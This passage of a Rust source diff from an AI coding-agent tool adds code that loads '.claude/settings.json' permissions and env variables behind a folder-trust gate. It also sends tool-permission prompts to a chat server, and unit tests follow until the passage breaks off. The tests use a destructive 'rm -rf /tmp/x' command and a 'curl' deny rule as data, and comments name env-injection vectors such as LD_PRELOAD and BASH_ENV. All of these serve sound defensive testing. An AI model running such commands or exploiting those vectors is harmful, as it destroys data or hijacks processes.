namespace: Some(server_name.to_owned()),
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,554 @@
//! Reads and parses `.claude/settings.json` (vendor settings interop).
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use serde::Deserialize;
use tracing::{debug, warn};
use crate::permission::rules::parse_permission_rule;
use crate::permission::types::{PermissionConfig, RuleAction};
// ═════════════════════════════════════════════════════════════════════════════
// Settings Types (Claude JSON subset)
// ═════════════════════════════════════════════════════════════════════════════
/// Subset of `.claude/settings.json` we care about.
#[derive(Debug, Default, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ClaudeSettings {
#[serde(default)]
pub permissions: Option<ParsedPermissions>,
/// Raw `defaultMode` string when present (canonical under `permissions`, or
/// grok-only root legacy). Recognized values: `acceptEdits`,
/// `bypassPermissions`, `default`, `plan`, `dontAsk`, `auto`.
#[serde(default)]
pub default_mode: Option<String>,
/// Parsed but not acted on yet.
#[serde(default)]
pub additional_directories: Option<Vec<String>>,
/// Environment variables applied to every session.
/// Keys and values are strings; non-string values are coerced or skipped.
#[serde(default)]
pub env: Option<HashMap<String, String>>,
}
/// Parsed `permissions` object from Claude settings.
#[derive(Debug, Default, Deserialize)]
pub struct ParsedPermissions {
#[serde(default)]
pub allow: Vec<String>,
#[serde(default)]
pub deny: Vec<String>,
#[serde(default)]
pub ask: Vec<String>,
}
impl ParsedPermissions {
/// Translate into native `PermissionConfig`.
/// Unsupported or malformed entries are skipped with warnings.
pub fn into_permission_config(self) -> (PermissionConfig, Vec<String>) {
let mut rules = Vec::new();
let mut warnings = Vec::new();
for (action, entries, label) in [
(RuleAction::Allow, self.allow, "allow"),
(RuleAction::Deny, self.deny, "deny"),
(RuleAction::Ask, self.ask, "ask"),
] {
for rule_str in entries {
match parse_permission_rule(&rule_str, action) {
Ok(rule) => rules.push(rule),
Err(e) => warnings.push(format!("permissions.{label}: {rule_str} -- {e}")),
}
}
}
(PermissionConfig::new(rules), warnings)
}
}
/// Load Claude settings from a file path.
///
/// Returns:
/// - `None` only for: file missing, unreadable, or unparseable JSON
/// - `Some(ClaudeSettings)` even if `permissions` key is absent
///
/// This allows callers to observe `defaultMode` / `additionalDirectories` even when
/// no `permissions` block exists, supporting the observability model.
///
/// **Tolerant parsing**:
/// - `permissions.allow` / `permissions.deny` are extracted element-by-element
/// from `serde_json::Value`. Non-string entries are skipped with warnings.
/// - This enables partial success when some entries are malformed.
/// - `defaultMode` / `additionalDirectories` prefer the canonical location
/// under `permissions.*`. Root-level keys are **grok legacy only** (not in
/// the vendor schema) and are used only when the nested key is **absent** —
/// not when it is present but the wrong type.
pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
let content = match std::fs::read_to_string(path) {
Ok(c) => c,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return None,
Err(_) => return None,
};
// Parse as generic JSON value for tolerant handling
let value: serde_json::Value = match serde_json::from_str(&content) {
Ok(v) => v,
Err(_) => return None,
};
// Extract permissions tolerantly if present (with warnings for non-strings)
let permissions = value.get("permissions").and_then(|p| {
let (allow, allow_warnings) = extract_string_array(p.get("allow"));
let (deny, deny_warnings) = extract_string_array(p.get("deny"));
let (ask, ask_warnings) = extract_string_array(p.get("ask"));
// Log any warnings from tolerant extraction
for w in allow_warnings
.iter()
.chain(deny_warnings.iter())
.chain(ask_warnings.iter())
{
tracing::warn!(path = %path.display(), "{}", w);
}
if allow.is_empty() && deny.is_empty() && ask.is_empty() {
None
} else {
Some(ParsedPermissions { allow, deny, ask })
}
});
// Canonical vendor settings store these under `permissions`; root is grok legacy only.
let default_mode = extract_default_mode(&value, path);
let additional_directories = extract_additional_directories(&value, path);
let env = extract_string_map(value.get("env"), path);
Some(ClaudeSettings {
permissions,
default_mode,
additional_directories,
env,
})
}
/// Canonical key is `permissions.defaultMode`.
///
/// Root `defaultMode` is grok-only back-compat for older tests / hand-written
/// configs. Fall back to root only when the nested key is **absent**. If nested
/// is present but not a string, do not resurrect a root value (malformed
/// canonical key must not revive stale legacy).
pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Option<String> {
if let Some(perms) = value.get("permissions")
&& let Some(dm) = perms.get("defaultMode")
{
return match dm.as_str() {
Some(s) => Some(s.to_string()),
None => {
warn!(
path = %path.display(),
actual_type = %dm.type_of(),
"permissions.defaultMode: expected string; not falling back to root defaultMode"
);
None
}
};
}
// Nested key absent — optional grok legacy root.
match value.get("defaultMode") {
Some(dm) => match dm.as_str() {
Some(s) => Some(s.to_string()),
None => {
warn!(
path = %path.display(),
actual_type = %dm.type_of(),
"root defaultMode (grok legacy): expected string, ignoring"
);
None
}
},
None => None,
}
}
/// Claude-canonical key is `permissions.additionalDirectories`; root is
/// legacy/compat. Nested wins when both are present.
fn extract_additional_directories(value: &serde_json::Value, path: &Path) -> Option<Vec<String>> {
// Mirror `extract_default_mode`: prefer the Claude-canonical nested key, and
// when it is present but the wrong type, do *not* resurrect the grok-legacy
// root value (a malformed canonical key must not revive stale legacy).
let arr = if let Some(nested) = value
.get("permissions")
.and_then(|p| p.get("additionalDirectories"))
{
match nested.as_array() {
Some(arr) => arr,
None => {
warn!(
path = %path.display(),
actual_type = %nested.type_of(),
"permissions.additionalDirectories: expected array; not falling back to root additionalDirectories"
);
return None;
}
}
} else {
value
.get("additionalDirectories")
.and_then(|v| v.as_array())?
};
let mut result = Vec::new();
for (i, v) in arr.iter().enumerate() {
match v.as_str() {
Some(s) => result.push(s.to_string()),
None => tracing::warn!(
path = %path.display(),
index = i,
actual_type = %v.type_of(),
"additionalDirectories: expected string, skipping"
),
}
}
Some(result)
}
/// Extract a string array from a JSON value, skipping non-strings with warnings.
///
/// Returns `(strings, warnings)` where warnings describe skipped entries.
fn extract_string_array(value: Option<&serde_json::Value>) -> (Vec<String>, Vec<String>) {
match value {
Some(serde_json::Value::Array(arr)) => {
let mut strings = Vec::new();
let mut warnings = Vec::new();
for (i, v) in arr.iter().enumerate() {
match v.as_str() {
Some(s) => strings.push(s.to_string()),
None => warnings.push(format!(
"permissions array index {}: expected string, got {}",
i,
v.type_of()
)),
}
}
(strings, warnings)
}
Some(other) => {
let warnings = vec![format!(
"permissions field: expected array, got {}",
other.type_of()
)];
(Vec::new(), warnings)
}
None => (Vec::new(), Vec::new()),
}
}
/// Extract a `HashMap<String, String>` from a JSON object value.
///
/// Non-string scalars are coerced to their string form: numbers and booleans
/// become their string representation. Null, array, and object values are
/// skipped with warnings.
///
/// Note: nulls are intentionally skipped rather than coerced to the literal
/// `"null"` — setting an env var to `"null"` is rarely useful and more likely a
/// user mistake.
fn extract_string_map(
value: Option<&serde_json::Value>,
path: &Path,
) -> Option<HashMap<String, String>> {
let obj = match value {
Some(serde_json::Value::Object(map)) => map,
Some(other) => {
tracing::warn!(
path = %path.display(),
actual_type = %other.type_of(),
"env: expected object, skipping"
);
return None;
}
None => return None,
};
let mut result = HashMap::new();
for (key, val) in obj {
match val {
serde_json::Value::String(s) => {
result.insert(key.clone(), s.clone());
}
serde_json::Value::Number(n) => {
result.insert(key.clone(), n.to_string());
}
serde_json::Value::Bool(b) => {
result.insert(key.clone(), b.to_string());
}
other => {
tracing::warn!(
path = %path.display(),
key = %key,
actual_type = %other.type_of(),
"env: expected string value, skipping"
);
}
}
}
if result.is_empty() {
None
} else {
Some(result)
}
}
/// Small helper to get a JSON value's type name for diagnostics.
trait JsonTypeName {
fn type_of(&self) -> &'static str;
}
impl JsonTypeName for serde_json::Value {
fn type_of(&self) -> &'static str {
match self {
serde_json::Value::Null => "null",
serde_json::Value::Bool(_) => "boolean",
serde_json::Value::Number(_) => "number",
serde_json::Value::String(_) => "string",
serde_json::Value::Array(_) => "array",
serde_json::Value::Object(_) => "object",
}
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Discovery
// ═════════════════════════════════════════════════════════════════════════════
// TODO(follow-up): The discovery logic here (find_claude_settings_paths,
// collect_project_claude_paths, find_repo_root) is local to this module.
// If the Claude settings compatibility surface grows (more consumers beyond
// permissions), consider extracting to a shared helper (e.g., in kigi-hooks
// or a new claude-discovery crate).
/// Discover `.claude/settings.json` and `.claude/settings.local.json` paths
/// for permission loading.
///
/// Files are returned in priority order (most-specific first):
/// - Project: `<cwd>/.claude/settings.local.json`, `<cwd>/.claude/settings.json`
/// (walking up to repo root; cwd entries listed first)
/// - Global: `~/.claude/settings.local.json`, `~/.claude/settings.json`
///
/// Returns `true` if any `.claude/` configuration files exist in the project
/// or user home directory.
pub fn has_claude_compat(cwd: &Path) -> bool {
find_claude_settings_paths(cwd).iter().any(|p| p.exists())
}
/// Permission rules from all files are merged (later / more specific sources win
/// for conflicts as documented below).
/// `defaultMode` uses scope precedence: the most specific file that sets it wins.
pub fn find_claude_settings_paths(cwd: &Path) -> Vec<PathBuf> {
let mut paths = global_claude_settings_paths();
// Project paths (higher priority — closer to cwd wins)
// Walk from cwd up to find .claude directories
let project_paths = collect_project_claude_paths(cwd);
// Prepend project paths (so they come first, higher priority)
paths.splice(0..0, project_paths);
paths
}
/// Global (user-tier) `~/.claude` settings paths, highest-priority-first. Split
/// out of [`find_claude_settings_paths`] so [`load_claude_env_with_project`] can
/// load ONLY the user tier when a folder is untrusted.
///
/// Use `dirs::home_dir()` to match the home-resolution strategy used by
/// `claude_import.rs::scan_importable_settings` and `claude_import_state.rs`,
/// so a path returned here reliably tests as global in the import scanner's
/// `is_global` check.
fn global_claude_settings_paths() -> Vec<PathBuf> {
let mut paths = Vec::new();
if let Some(home) = dirs::home_dir() {
let global = home.join(".claude");
paths.push(global.join("settings.local.json"));
paths.push(global.join("settings.json"));
}
paths
}
/// Whether a project-tree `.claude/settings.json` / `settings.local.json` exists
/// anywhere along the SAME `cwd`→repo-root walk the env/permission loaders read
/// ([`collect_project_claude_paths`]). The folder-trust detector calls this so
/// detection can never drift from the loader: a settings file in a SUBDIR — whose
/// `env` is injected into every spawned subprocess — must flip the folder
/// untrusted, not just one at the git root.
pub fn project_claude_settings_present(cwd: &Path) -> bool {
collect_project_claude_paths(cwd)
.iter()
.any(|p| p.is_file())
}
/// Collect .claude settings file paths from cwd up to repo root.
///
/// Resolves the repo root by `.git` EXISTENCE (not `git2` validity), kept
/// separate from the folder-trust gate's shared `git2` walk on purpose: the
/// env/permission loader ([`find_claude_settings_paths`]) and this detector both
/// go through here, so they share ONE root resolution and can't drift — but a
/// directory with a bare/empty `.git` (no valid repo) must still bound the walk.
fn collect_project_claude_paths(cwd: &Path) -> Vec<PathBuf> {
// Home-is-a-git-repo (dotfiles in $HOME): drop a resolved repo root that is
// $HOME, or the walk would treat `~/.claude` as project-tier (injecting its
// env / applying its rules for any cwd under home). Fall back to cwd so the
// walk stays within the working dir. This is the shared choke point for both
// `project_claude_settings_present` and `find_claude_settings_paths`.
let repo_root = find_repo_root(cwd)
.filter(|root| !crate::trust::is_home_dir(root))
.unwrap_or_else(|| cwd.to_path_buf());
// Walk from cwd up to repo_root, collecting .claude paths (cwd-first priority).
let mut paths = Vec::new();
let mut current = cwd.to_path_buf();
loop {
let claude_dir = current.join(".claude");
paths.push(claude_dir.join("settings.local.json"));
paths.push(claude_dir.join("settings.json"));
if current == repo_root {
break;
}
match current.parent() {
Some(parent) => current = parent.to_path_buf(),
None => break,
}
}
paths
}
/// Find the git repo root by walking up from cwd.
fn find_repo_root(start: &Path) -> Option<PathBuf> {
let mut current = start.to_path_buf();
loop {
if current.join(".git").exists() {
return Some(current);
}
{
let parent = current.parent()?;
current = parent.to_path_buf()
}
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Environment Variables
// ═════════════════════════════════════════════════════════════════════════════
/// Load merged environment variables from Claude settings files, gating the
/// repo-tree `.claude/settings.json` `env` on `project_trusted`.
///
/// Like permissions, env vars are merged cumulatively across all settings files
/// (later layers override earlier keys) — walking `find_claude_settings_paths()`
/// with precedence:
/// - Global `~/.claude/settings.json` / `settings.local.json` (lowest)
/// - Repo-root `.claude/settings.json` / `settings.local.json`
/// - ... (intermediate directories up to cwd)
/// - CWD `.claude/settings.json` / `settings.local.json` (highest)
///
/// Within each directory, `settings.local.json` overrides `settings.json`.
/// Higher-precedence keys override lower via `HashMap::extend`.
///
/// The repo-tree `env` is injected into every spawned subprocess (`BASH_ENV` /
/// `GIT_SSH_COMMAND` / `PATH` / `LD_PRELOAD` …), so when `project_trusted` is
/// false it is dropped — an untrusted clone must not contribute it; the user's
/// own `~/.claude` env is always loaded.
pub fn load_claude_env_with_project(cwd: &Path, project_trusted: bool) -> HashMap<String, String> {
// Phase 2 cutoff: if the user has imported, skip reading .claude/ at runtime.
if is_claude_import_marked_with_log("load_claude_env_with_project") {
return HashMap::new();
}
// Untrusted folder: load ONLY the user-tier `~/.claude` env, dropping the
// repo-tree (project) contribution.
let paths = if project_trusted {
find_claude_settings_paths(cwd)
} else {
global_claude_settings_paths()
};
let mut merged = HashMap::new();
// Paths are ordered highest-priority-first. Process in reverse so that
// higher-priority values overwrite lower-priority ones via `extend`.
for path in paths.iter().rev() {
if let Some(settings) = load_claude_settings(path)
&& let Some(env) = settings.env
{
debug!(
path = %path.display(),
count = env.len(),
"Loaded env from Claude settings"
);
merged.extend(env);
}
}
merged
}
// =============================================================================
// Phase 2 cutoff marker
// =============================================================================
//
// `kigi-shell::claude_import` writes the marker. We re-implement a small
// reader here because the gate consumers live in this crate and can't depend
// on shell (it would create a cycle). Caching is intentionally omitted; if
// this becomes a hotspot we can lift it into a shared crate.
/// True when the user marked Claude settings imported (`[claude_compat].imported`
/// in config.toml, or the test override). Public so gate-mirroring callers stay consistent.
pub fn is_claude_import_marked() -> bool {
// Test escape hatch: shell tests call `refresh_marker_cache(true)` which
// lives in kigi-shell (inaccessible from here at runtime). They also
// set this env var so the workspace-resident gate honours the override
// without a cross-crate dependency.
if std::env::var("_GROK_CLAUDE_MARKER_OVERRIDE").as_deref() == Ok("1") {
return true;
}
let Some(config_path) = kigi_config::user_kigi_home().map(|g| g.join("config.toml")) else {
return false;
};
let Ok(contents) = std::fs::read_to_string(&config_path) else {
return false;
};
let Ok(value) = toml::from_str::<toml::Value>(&contents) else {
return false;
};
value
.get("claude_compat")
.and_then(|v| v.get("imported"))
.and_then(|v| v.as_bool())
.unwrap_or(false)
}
/// Returns true when the user has marked their Claude settings as imported.
///
/// Logs a single info line the first time the gate is hit (per process) so
/// we can confirm the cutoff is taking effect without flooding logs.
pub(crate) fn is_claude_import_marked_with_log(gate_name: &'static str) -> bool {
use std::sync::OnceLock;
static LOGGED: OnceLock<()> = OnceLock::new();
let marked = is_claude_import_marked();
if marked {
LOGGED.get_or_init(|| {
tracing::info!(
first_gate = gate_name,
"Claude compat disabled (marker set in config.toml)"
);
});
}
marked
}
@@ -0,0 +1,498 @@
//! Tool-permission emit: when the rules engine returns "ask" for a guarded
//! tool, request the decision from chat over the server instead of prompting a
//! local ACP client, then map chat's reply back onto a [`PromptOutcome`] so the
//! manager's existing decision + `ALWAYS_*` persistence applies unchanged.
use crate::permission::prompter::{PromptOutcome, tool_name_for_access};
use crate::permission::types::AccessKind;
use async_trait::async_trait;
use kigi_computer_hub_sdk::harness::PERMISSION_REQUEST_KIND;
use kigi_computer_hub_sdk::{ToolServer, WeakToolServer};
use kigi_tool_protocol::SessionId;
use prometheus::{HistogramVec, IntCounter, register_histogram_vec, register_int_counter};
use serde_json::Value;
use std::sync::LazyLock;
/// Wall-clock time the workspace awaits chat's decision on a `permission_request`
/// hook. `outcome` is `ok` (chat replied) or `error` (transport failure /
/// backstop deadline).
static PERMISSION_REPLY_DURATION: LazyLock<HistogramVec> = LazyLock::new(|| {
register_histogram_vec!(
"grok_workspace_permission_reply_seconds",
"Wall-clock time awaiting chat's reply to a permission_request hook",
&["outcome"],
vec![0.5, 1.0, 2.0, 5.0, 10.0, 30.0, 60.0, 120.0, 300.0, 600.0]
)
.expect("grok_workspace_permission_reply_seconds must register once")
});
/// Permission requests whose reply timed out (the server backstop deadline fired).
/// A subset of the histogram's `error` outcome, promoted to its own counter so a
/// stuck/lost reply is distinguishable from other transport failures.
static PERMISSION_TIMEOUT_TOTAL: LazyLock<IntCounter> = LazyLock::new(|| {
register_int_counter!(
"grok_workspace_permission_timeout_total",
"permission_request hooks whose reply timed out (backstop deadline fired)"
)
.expect("grok_workspace_permission_timeout_total must register once")
});
/// Zero-init this module's metric families. See [`crate::init_metrics`].
pub(crate) fn init_metrics() {
for outcome in ["ok", "error"] {
let _ = PERMISSION_REPLY_DURATION.with_label_values(&[outcome]);
}
PERMISSION_TIMEOUT_TOTAL.inc_by(0);
}
/// Identifies the reply backstop-deadline timeout by its rendered message; the
/// server SDK exposes no typed timeout variant to match on. If that message text
/// changes, such a reply is recorded under the histogram's `error` outcome but
/// not counted in `permission_timeout_total`.
fn is_timeout_err(msg: &str) -> bool {
msg.contains("timed out")
}
/// Env var that enables the HITL-live **tool-permission** emit (workspace →
/// chat over the server) for local e2e and gradual rollout. Prefer server capability
/// negotiation long-term; this is the interim gate so tool-permission can be
/// exercised without waiting on that wire format.
pub const HITL_PERMISSION_LIVE_ENV: &str = "KIGI_HITL_PERMISSION_LIVE";
/// Whether the HITL-live permission path is enabled.
///
/// Intended long-term gate: the chat flag `grok_chat_enable_hitl_live_path`,
/// propagated by the server at session-bind (capability negotiation). Until that
/// lands, honor [`HITL_PERMISSION_LIVE_ENV`] (`1` / `true` / `yes`) so local
/// stacks and e2e can turn the emit on explicitly. Default remains **off**
/// (fail closed to the local ACP prompt).
pub fn hitl_permission_live_enabled() -> bool {
match std::env::var(HITL_PERMISSION_LIVE_ENV) {
Ok(v) => {
matches!(
v.trim().to_ascii_lowercase().as_str(),
"1" | "true" | "yes" | "on"
)
}
Err(_) => false,
}
}
/// Sends a `permission_request` hook to chat and awaits the decision reply.
#[async_trait]
pub trait PermissionHookTransport: Send + Sync {
/// Emit the permission-request `payload` and return chat's decision reply.
async fn request_permission(&self, payload: Value) -> Result<Value, String>;
}
/// Hub-backed permission transport (weak server handle; upgrades per request).
pub struct ToolServerPermissionTransport {
server: WeakToolServer,
session_id: SessionId,
}
impl ToolServerPermissionTransport {
pub fn new(server: ToolServer, session_id: SessionId) -> Self {
Self {
server: server.downgrade(),
session_id,
}
}
/// Build from a session id held as a string; `None` if it is not a valid
/// [`SessionId`].
pub fn from_session_id(server: ToolServer, session_id: &str) -> Option<Self> {
SessionId::new(session_id)
.ok()
.map(|sid| Self::new(server, sid))
}
}
#[async_trait]
impl PermissionHookTransport for ToolServerPermissionTransport {
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
let start = std::time::Instant::now();
let Some(server) = self.server.upgrade() else {
PERMISSION_REPLY_DURATION
.with_label_values(&["error"])
.observe(start.elapsed().as_secs_f64());
return Err("tool server gone (weak upgrade failed)".to_owned());
};
let raw = server
.request_hook(
self.session_id.clone(),
PERMISSION_REQUEST_KIND.to_owned(),
payload,
)
.await;
let outcome = match &raw {
Ok(_) => "ok",
Err(e) => {
if is_timeout_err(&e.to_string()) {
PERMISSION_TIMEOUT_TOTAL.inc();
}
"error"
}
};
PERMISSION_REPLY_DURATION
.with_label_values(&[outcome])
.observe(start.elapsed().as_secs_f64());
raw.map_err(|e| e.to_string())
}
}
fn scope_for_access(access: &AccessKind) -> &'static str {
match access {
AccessKind::Bash(_) | AccessKind::Edit(_) | AccessKind::MCPTool { .. } => "write",
AccessKind::Read(_)
| AccessKind::Grep { .. }
| AccessKind::WebFetch(_)
| AccessKind::WebSearch(_) => "read",
}
}
fn describe_access(access: &AccessKind) -> String {
match access {
AccessKind::Bash(_) => "Run a terminal command".to_owned(),
AccessKind::Edit(path) => format!("Edit {path}"),
AccessKind::MCPTool { name, .. } => format!("Run MCP tool {name}"),
AccessKind::WebFetch(url) => format!("Fetch {url}"),
AccessKind::WebSearch(query) => format!("Search the web for {query}"),
AccessKind::Read(_) => "Read a file".to_owned(),
AccessKind::Grep { .. } => "Search file contents".to_owned(),
}
}
/// Build the server → chat `permission_request` payload. The field set matches
/// chat's `PermissionRequestPayload` parser: `tool_call_id`, `tool_name`,
/// `description`, `scope`, and the bash/edit context.
pub(crate) fn build_permission_payload(access: &AccessKind, tool_call_id: &str) -> Value {
let mut payload = serde_json::json!(
{ "tool_call_id" : tool_call_id, "tool_name" : tool_name_for_access(access),
"description" : describe_access(access), "scope" : scope_for_access(access), }
);
if let Some(map) = payload.as_object_mut() {
match access {
AccessKind::Bash(command) => {
map.insert("bash_command".to_owned(), Value::from(command.clone()));
}
AccessKind::Edit(path) => {
map.insert(
"edit_file_paths".to_owned(),
Value::from(vec![path.clone()]),
);
}
_ => {}
}
}
payload
}
/// Decode chat's decision reply onto a [`PromptOutcome`]. The reply is chat's
/// `permission_answer_to_json` output: `{ "outcome", "scope"?, "followup_message"? }`.
/// An unknown / `unspecified` outcome fails closed (reject).
pub(crate) fn reply_to_outcome(reply: &Value) -> PromptOutcome {
let outcome = match reply.get("outcome") {
Some(Value::String(s)) => s.as_str(),
Some(Value::Number(n)) => match n.as_i64() {
Some(1) => "approve",
Some(2) => "reject",
Some(3) => "always_approve",
Some(4) => "always_reject",
_ => "",
},
_ => "",
};
let followup = reply
.get("followup_message")
.and_then(Value::as_str)
.filter(|s| !s.is_empty());
match outcome {
"approve" => PromptOutcome::AllowOnce,
"always_approve" => match scope_kind_value(reply) {
Some(("bash_command", Some(value))) => PromptOutcome::AllowAlwaysBashCommand(value),
Some(("server_prefix", Some(value))) => PromptOutcome::AllowAlwaysMcpServer(value),
Some(("domain", Some(value))) => PromptOutcome::AllowAlwaysDomain(value),
_ => PromptOutcome::AllowAlways,
},
"reject" => match followup {
Some(message) => PromptOutcome::FollowupMessage(message.to_owned()),
None => PromptOutcome::RejectOnce,
},
"always_reject" => match scope_kind_value(reply) {
Some(("bash_command", Some(value))) => PromptOutcome::RejectAlwaysBashCommand(value),
_ => PromptOutcome::RejectOnce,
},
"cancelled" => PromptOutcome::Cancelled,
_ => PromptOutcome::RejectOnce,
}
}
fn scope_kind_value(reply: &Value) -> Option<(&str, Option<String>)> {
let scope = reply.get("scope")?;
let kind = scope.get("kind").and_then(Value::as_str)?;
let value = scope
.get("value")
.and_then(Value::as_str)
.map(str::to_owned);
Some((kind, value))
}
/// Map a hub-served tool name + JSON args onto an [`AccessKind`] for the
/// permission gate in [`crate::hub::SessionRoutedToolHandler`]. Returns `None`
/// for tools that never need a user prompt (reads / todos / dynamic).
pub fn access_kind_for_hub_tool(tool_name: &str, args: &Value) -> Option<AccessKind> {
let name = tool_name.rsplit(':').next().unwrap_or(tool_name);
let name = name.strip_prefix("GrokBuild:").unwrap_or(name);
match name {
"run_terminal_command" | "run_terminal_cmd" | "bash" | "shell" => {
let cmd = args
.get("command")
.or_else(|| args.get("full_command"))
.and_then(Value::as_str)
.unwrap_or("")
.to_owned();
Some(AccessKind::Bash(cmd))
}
"search_replace" | "hashline_edit" => {
let path = args
.get("file_path")
.or_else(|| args.get("path"))
.and_then(Value::as_str)
.unwrap_or("unknown")
.to_owned();
Some(AccessKind::Edit(path))
}
"write" | "write_file" => {
let path = args
.get("file_path")
.or_else(|| args.get("path"))
.and_then(Value::as_str)
.unwrap_or("unknown")
.to_owned();
Some(AccessKind::Edit(path))
}
"apply_patch" => Some(AccessKind::Edit("apply_patch".to_owned())),
"web_fetch" => {
let url = args
.get("url")
.and_then(Value::as_str)
.unwrap_or("")
.to_owned();
Some(AccessKind::WebFetch(url))
}
n if n.contains("__") || n.starts_with("mcp") => Some(AccessKind::MCPTool {
name: tool_name.to_owned(),
input: args.clone(),
}),
_ => None,
}
}
/// Whether a [`PromptOutcome`] allows the tool call to proceed.
pub fn prompt_outcome_allows(outcome: &PromptOutcome) -> bool {
matches!(
outcome,
PromptOutcome::AllowOnce
| PromptOutcome::AllowAlways
| PromptOutcome::AllowEditsForSession
| PromptOutcome::AllowAlwaysBashCommand(_)
| PromptOutcome::AllowAlwaysDomain(_)
| PromptOutcome::AllowAlwaysMcpTool(_)
| PromptOutcome::AllowAlwaysMcpServer(_)
)
}
/// Request a permission decision from chat over `transport` and map the reply
/// to a [`PromptOutcome`]. A transport error fails closed (the manager turns an
/// `Error` outcome into a reject) so a lost server connection never silently runs
/// a guarded tool.
pub async fn request_permission_via_hub(
transport: &dyn PermissionHookTransport,
access: &AccessKind,
tool_call_id: &str,
) -> PromptOutcome {
let payload = build_permission_payload(access, tool_call_id);
match transport.request_permission(payload).await {
Ok(reply) => match reply_to_outcome(&reply) {
PromptOutcome::AllowAlways if matches!(access, AccessKind::Edit(_)) => {
PromptOutcome::AllowEditsForSession
}
other => other,
},
Err(e) => {
tracing::error!(error = % e, "hub permission request failed; rejecting");
PromptOutcome::Error(format!("hub permission request failed: {e}"))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::sync::Mutex;
/// Pins the current SDK timeout wording the classifier matches on.
#[test]
fn is_timeout_err_matches_backstop_wording_only() {
assert!(is_timeout_err("request timed out after 600s"));
assert!(is_timeout_err("request timed out after 600.0s"));
assert!(!is_timeout_err("connection lost"));
assert!(!is_timeout_err("tool server gone (weak upgrade failed)"));
}
#[test]
fn payload_for_bash_carries_command_and_write_scope() {
let payload = build_permission_payload(&AccessKind::Bash("rm -rf /tmp/x".into()), "tc-1");
assert_eq!(payload["tool_call_id"], "tc-1");
assert_eq!(payload["tool_name"], "run_terminal_command");
assert_eq!(payload["description"], "Run a terminal command");
assert_eq!(payload["scope"], "write");
assert_eq!(payload["bash_command"], "rm -rf /tmp/x");
assert!(payload.get("edit_file_paths").is_none());
}
#[test]
fn payload_for_edit_carries_file_paths() {
let payload = build_permission_payload(&AccessKind::Edit("src/main.rs".into()), "tc-2");
assert_eq!(payload["tool_name"], "search_replace");
assert_eq!(payload["description"], "Edit src/main.rs");
assert_eq!(payload["scope"], "write");
assert_eq!(
payload["edit_file_paths"],
serde_json::json!(["src/main.rs"])
);
assert!(payload.get("bash_command").is_none());
assert!(payload.get("edit_kind").is_none());
}
#[test]
fn payload_for_mcp_has_no_tool_context() {
let payload = build_permission_payload(
&AccessKind::MCPTool {
name: "linear__list".into(),
input: serde_json::Value::Null,
},
"tc-3",
);
assert_eq!(payload["tool_name"], "mcp:linear__list");
assert_eq!(payload["description"], "Run MCP tool linear__list");
assert_eq!(payload["scope"], "write");
assert!(payload.get("bash_command").is_none());
assert!(payload.get("edit_file_paths").is_none());
}
#[test]
fn reply_outcomes_map_to_prompt_outcomes() {
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "approve" })),
PromptOutcome::AllowOnce
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "reject" })),
PromptOutcome::RejectOnce
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "cancelled" })),
PromptOutcome::Cancelled
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "unspecified"
})),
PromptOutcome::RejectOnce
));
assert!(matches!(
reply_to_outcome(&serde_json::json!({})),
PromptOutcome::RejectOnce
));
}
#[test]
fn reject_with_followup_routes_message_to_model() {
let reply = serde_json::json!(
{ "outcome" : "reject", "followup_message" : "use cargo instead" }
);
match reply_to_outcome(&reply) {
PromptOutcome::FollowupMessage(m) => assert_eq!(m, "use cargo instead"),
other => panic!("expected FollowupMessage, got {other:?}"),
}
}
#[test]
fn always_approve_maps_scope_to_persistent_outcome() {
let bash = serde_json::json!(
{ "outcome" : "always_approve", "scope" : { "kind" : "bash_command", "value"
: "cargo build" }, }
);
match reply_to_outcome(&bash) {
PromptOutcome::AllowAlwaysBashCommand(v) => assert_eq!(v, "cargo build"),
other => panic!("expected AllowAlwaysBashCommand, got {other:?}"),
}
let server = serde_json::json!(
{ "outcome" : "always_approve", "scope" : { "kind" : "server_prefix", "value"
: "linear" }, }
);
match reply_to_outcome(&server) {
PromptOutcome::AllowAlwaysMcpServer(v) => assert_eq!(v, "linear"),
other => panic!("expected AllowAlwaysMcpServer, got {other:?}"),
}
assert!(matches!(
reply_to_outcome(&serde_json::json!({ "outcome" : "always_approve"
})),
PromptOutcome::AllowAlways
));
}
#[test]
fn always_reject_with_bash_scope_persists_the_denied_prefix() {
let reply = serde_json::json!(
{ "outcome" : "always_reject", "scope" : { "kind" : "bash_command", "value" :
"curl" }, }
);
match reply_to_outcome(&reply) {
PromptOutcome::RejectAlwaysBashCommand(v) => assert_eq!(v, "curl"),
other => panic!("expected RejectAlwaysBashCommand, got {other:?}"),
}
}
struct StubTransport {
reply: Result<Value, String>,
seen: Mutex<Option<Value>>,
}
#[async_trait]
impl PermissionHookTransport for StubTransport {
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
*self.seen.lock().unwrap() = Some(payload);
self.reply.clone()
}
}
#[tokio::test]
async fn request_sends_payload_and_decodes_reply() {
let transport = StubTransport {
reply: Ok(serde_json::json!({ "outcome" : "approve" })),
seen: Mutex::new(None),
};
let outcome =
request_permission_via_hub(&transport, &AccessKind::Bash("ls -la".into()), "tc-7")
.await;
assert!(matches!(outcome, PromptOutcome::AllowOnce));
let seen = transport
.seen
.lock()
.unwrap()
.clone()
.expect("payload sent");
assert_eq!(seen["tool_call_id"], "tc-7");
assert_eq!(seen["bash_command"], "ls -la");
}
#[tokio::test]
async fn transport_error_fails_closed() {
let transport = StubTransport {
reply: Err("connection lost".to_owned()),
seen: Mutex::new(None),
};
let outcome =
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-8").await;
assert!(matches!(outcome, PromptOutcome::Error(_)));
}
#[tokio::test]
async fn edit_always_approve_maps_to_session_scope() {
let transport = StubTransport {
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
seen: Mutex::new(None),
};
let outcome =
